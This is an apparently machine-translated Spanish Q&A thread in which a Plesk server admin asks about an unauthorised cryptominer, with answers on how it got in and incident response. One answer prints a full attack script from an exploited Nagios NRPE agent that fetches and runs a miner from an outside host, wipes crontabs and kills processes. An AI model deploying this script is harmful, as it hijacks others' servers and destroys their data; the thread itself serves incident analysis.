¿Me han pirateado?

8

Ejecuté un servidor dedicado, donde noté un alto uso de CPU recientemente, y verifiqué los procesos. Parece que alguien (cuenta mick) estaba minando en mi servidor. ¿Cómo es esto posible? El proceso está abajo. He suspendido la cuenta. ¿Qué más necesitaría hacer?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B
Boo Boo
fuente
verifique cronjobs para cada usuario.
TPS
55
Sería útil un poco más de información sobre si creó esa cuenta y quién tiene acceso. Si usted es el único que debería tener acceso, entonces probablemente sea pirateado -> reinstalar desde cero.
Anthon
Es un servidor de alojamiento web que utiliza el panel de control de Plesk. Hay varios clientes en el servidor con varios dominios, etc.
Booboo
Los clientes no tienen acceso de root al servidor, solo ftp
Booboo
2
Esto parece un minero de criptomonedas Scrypt.
TheDoctor

Respuestas:

11

Si está ejecutando un servidor web que permite secuencias de comandos del lado del servidor (php, ruby, etc.), esto es muy fácil de hacer.

Todo lo que el usuario tiene que hacer es generar un script que descargue un archivo /tmp/sh64y luego lo ejecute. Los scripts web generalmente necesitan poder ejecutar programas externos, por lo que este tipo de actividad es difícil de evitar.

Si la mickcuenta es la misma cuenta utilizada para ejecutar los scripts web del usuario, entonces diría que no, no está pirateado. Solo un usuario que abusa de su cuenta.

Si desea evitar este comportamiento, hay muy pocas formas de prevenirlo. Puede no permitir llamar a programas externos. O puede hacer algo como matar programas de larga ejecución (todo lo que se dejó en ejecución durante más de 60 segundos por ejemplo).
Sin conocer más detalles sobre su configuración, el mejor curso de acción es difícil de determinar.

Patricio
fuente
1
¿Cómo no permitir llamar a programas externos
Booboo
Tus opciones varían. Publicaría otra pregunta preguntando. Proporcione detalles sobre cómo está configurado su servidor web y qué lenguaje de script utilizan sus clientes. Un chroot simple podría funcionar, pero necesita los detalles.
Patrick
2

Tuve un problema similar. Explotaron una versión desactualizada del agente NRPE de Nagios para ejecutar un wgetscript que instaló y configuró el minero de bitcoin de Sourceforge (el demonio NRPE había dont_blame_nrpehabilitado). No he encontrado nada que indique que el intento en mi máquina fue persistente.

Este es el script que se utilizó para la instalación y configuración del minero de Bitcoin:

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then    
    system=`uname -a`
    i686=`echo $system|grep i686`
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
    spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
        dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
        spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
        spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi  

myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

Este script se ejecutó por completo como usuario de Nagios, por lo que no necesitaba ningún acceso root.

mtak
fuente
2

Su sistema definitivamente se ha visto comprometido o, en el peor de los casos, hackeado. Hay otras historias que describen la instalación de un minero similar.

Tomaría la posición de que su sistema se ha visto comprometido y obtendría algo crítico para comenzar, de modo que tenga una copia de seguridad si aún no se ha hecho.

Análisis

Si tiene curiosidad por cómo entraron, necesitará obtener una lista completa de los servicios (web, mysql, etc.) que ha instalado y ver si hay exploits activos que le permitan a alguien obtener privilegios elevados.

Comenzaría con cualquier habilitación web que sean aplicaciones basadas en la web. Por lo general, estas aplicaciones pueden desbordarse del búfer y acceder a modificar la pila del servidor web para que se puedan instalar aplicaciones adicionales.

Es el caso de que este tipo de compromisos pueden ser incidentes aislados, por lo que simplemente eliminar el software ofensivo y el malware puede ser suficiente para erradicarlo sin tener que soportar el gasto de tiempo de hacer una recuperación / configuración completa del sistema.

Si este sistema se construyera con una imagen basada en VPS, trabajaría con el proveedor, ya que la aplicación de parches parece ser lo mejor para todos sus clientes.

Más allá de comprometer la pila web

Todo lo que está en la caja tiene que ser examinado y es esencialmente poco confiable, pero me tomaría un poco de tiempo para ver si no puedes averiguar desde dónde están iniciando sesión los atacantes, si es que lo haces. Posiblemente inicien sesión utilizando cuentas SSH que se agregaron al sistema después de comprometerlo.

Esta puede ser una tarea ardua que toma muchos días para hacer el análisis, especialmente si no puede confiar en ninguna de las herramientas en la caja para ayudar en este esfuerzo. Animaría a cualquiera a tomarse este tiempo para comprender cómo su sistema se vio comprometido para que pueda reducir el riesgo de que vuelva a ocurrir en el futuro, al menos a través de este vector en particular.

Si este no es un tipo de problema de producción, en realidad es una buena oportunidad de aprendizaje para obtener información valiosa sobre cómo los sistemas pueden verse comprometidos y los atacantes podrían "aprovechar" el acceso.

¿Resquicio de esperanza?

Dado que el sistema se está utilizando para fines de minería, es probable que hayan utilizado un conjunto de herramientas de secuencias de comandos automatizadas, ya que atacar suficientes sistemas para configurar mineros zombies parece que tomaría mucho tiempo. Cuando se usan herramientas como estas, generalmente son de mala calidad en su construcción, simplemente buscan hacer lo mínimo para obtener un punto de apoyo y luego entregar su carga útil (el software de minería), por lo que puede tener suerte y obtener algunas ideas adicionales en cómo pudieron entrar.

slm
fuente
44
No necesariamente. Si el servidor web permite la creación de secuencias de comandos del lado del servidor, y la mickcuenta es el usuario utilizado para ejecutar las secuencias de comandos, esto puede hacerse fácilmente sin piratear el servidor. Abuso, si. Hack, no
Patrick
@Patrick: muy cierto, he modificado la A para reflejar esto. Gracias.
slm